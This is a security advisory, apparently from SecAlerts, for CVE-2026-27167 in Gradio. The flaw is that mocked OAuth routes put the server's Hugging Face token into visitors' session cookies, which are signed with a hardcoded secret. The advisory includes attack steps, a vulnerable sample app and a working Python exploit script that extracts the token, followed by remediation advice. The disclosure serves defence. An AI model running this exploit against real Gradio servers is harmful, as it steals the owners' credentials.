CVE-2026-27167: Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret

Published Feb 27, 2026
·
Updated

Summary

Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingfacehub.gettoken() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable.

Affected Component

gradio/oauth.py — functions attachoauth(), addmockedoauthroutes(), and getmockedoauthinfo().

Root Cause Analysis

1. Real token injected into every visitor's session

When Gradio detects it is not running inside a Hugging Face Space (getspace() is None), it registers mocked OAuth routes via addmockedoauthroutes() (line 44).

The function getmockedoauthinfo() (line 307) calls huggingfacehub.gettoken() to retrieve the real HF access token configured on the host machine (via HFTOKEN environment variable or huggingface-cli login). This token is stored in a dict that is then injected into the session of any visitor who hits /login/callback (line 183):

python request.session["oauthinfo"] = mockedoauthinfo

The mockedoauthinfo dict contains the real token at key accesstoken (line 329):

python return { "accesstoken": token, # <-- real HF token from server ... }

2. Hardcoded session signing secret

The SessionMiddleware secret is derived from OAUTHCLIENTSECRET (line 50):

python sessionsecret = (OAUTHCLIENTSECRET or "") + "-v4"

When running outside a Space, OAUTHCLIENTSECRET is not set, so the secret becomes the constant string "-v4", hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.

In practice, Starlette's SessionMiddleware stores the session data as plaintext base64 in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.

Attack Scenario

Prerequisites

- A Gradio app using OAuth components (gr.LoginButton, gr.OAuthProfile, etc.) - The app is network-accessible (e.g. servername="0.0.0.0", share=True, port forwarding, etc.) - The host machine has a Hugging Face token configured - OAUTHCLIENTSECRET is not set (default outside of Spaces)

Steps

1. Attacker sends a GET request to http://<target>:7860/login/huggingface 2. The server responds with a 307 redirect to /login/callback 3. The attacker follows the redirect; the server sets a session cookie containing the real HF token 4. The attacker base64-decodes the cookie payload (everything before the first .) to extract the accesstoken

Minimal Vulnerable Application

python import gradio as gr from huggingfacehub import login

login(token="hfxxx...")

def hello(profile: gr.OAuthProfile | None) -> str: if profile is None: return "Not logged in." return f"Hello {profile.name}"

with gr.Blocks() as demo: gr.LoginButton() gr.Markdown().attachloadevent(hello, None)

demo.launch(servername="0.0.0.0")

Proof of Concept

python #!/usr/bin/env python3 """ POC: Gradio mocked OAuth leaks server's HF token via session + weak secret Usage: python exploit.py --target http://victim:7860 python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080 """ import argparse import base64 import json import sys import requests

def main(): ap = argparse.ArgumentParser() ap.addargument("--target", required=True, help="Base URL, e.g. http://host:7860") ap.addargument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080") args = ap.parseargs()

base = args.target.rstrip("/") proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None

# 1. Trigger mocked OAuth flow — server injects its own HF token into our session s = requests.Session() s.get(f"{base}/login/huggingface", allowredirects=True, verify=False, proxies=proxies)

cookie = s.cookies.get("session") if not cookie: print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr) sys.exit(1)

# 2. Decode the cookie payload (base64 before the first ".") payloadb64 = cookie.split(".")[0] payloadb64 += "=" (-len(payloadb64) % 4) # fix padding data = json.loads(base64.b64decode(payloadb64)) token = data.get("oauthinfo", {}).get("accesstoken")

if token: print(f"[+] Leaked HF token: {token}") else: print("[-] No accesstoken found in session.", file=sys.stderr) sys.exit(1)

if name == "main": main()

Other sources

Gradio is an open-source Python package designed for quick prototyping. Starting in version 4.16.0 and prior to version 6.6.0, Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingfacehub.gettoken() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable. Version 6.6.0 fixes the issue.

— NVD

Affected Software

3 affected componentsFixes available
pypi/gradio>4.16.0<=6.6.0
pip/gradio>=4.16.0<6.6.0
6.6.0
Gradio Project Gradio Python>=4.16.0<6.6.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/gradio to a version that resolves this vulnerability.

    Fixed in 6.6.0
  2. Upgrade

    Upgrade gradio to a version that resolves this vulnerability.

    Fixed in 6.6.0

Event History

Feb 27, 2026
CVE Published
via MITRE·09:40 PM
Data Sourced
via MITRE·09:40 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeaknessAffected Software
Mar 1, 2026
Advisory Published
via GitHub·01:00 AM
Data Sourced
via GitHub·01:00 AM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-27167?

CVE-2026-27167 is rated as a high-severity vulnerability due to exposure of server credentials.

2

How do I fix CVE-2026-27167?

To fix CVE-2026-27167, upgrade Gradio to version 6.6.0 or later.

3

What happens if I don't address CVE-2026-27167?

Failure to address CVE-2026-27167 may result in unauthorized access to sensitive server credentials.

4

Which versions of Gradio are affected by CVE-2026-27167?

Gradio versions between 4.16.0 and 6.6.0 are affected by CVE-2026-27167.

5

What specific issues does CVE-2026-27167 introduce?

CVE-2026-27167 introduces issues related to mocked OAuth login that can expose server credentials and uses a hardcoded session secret.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203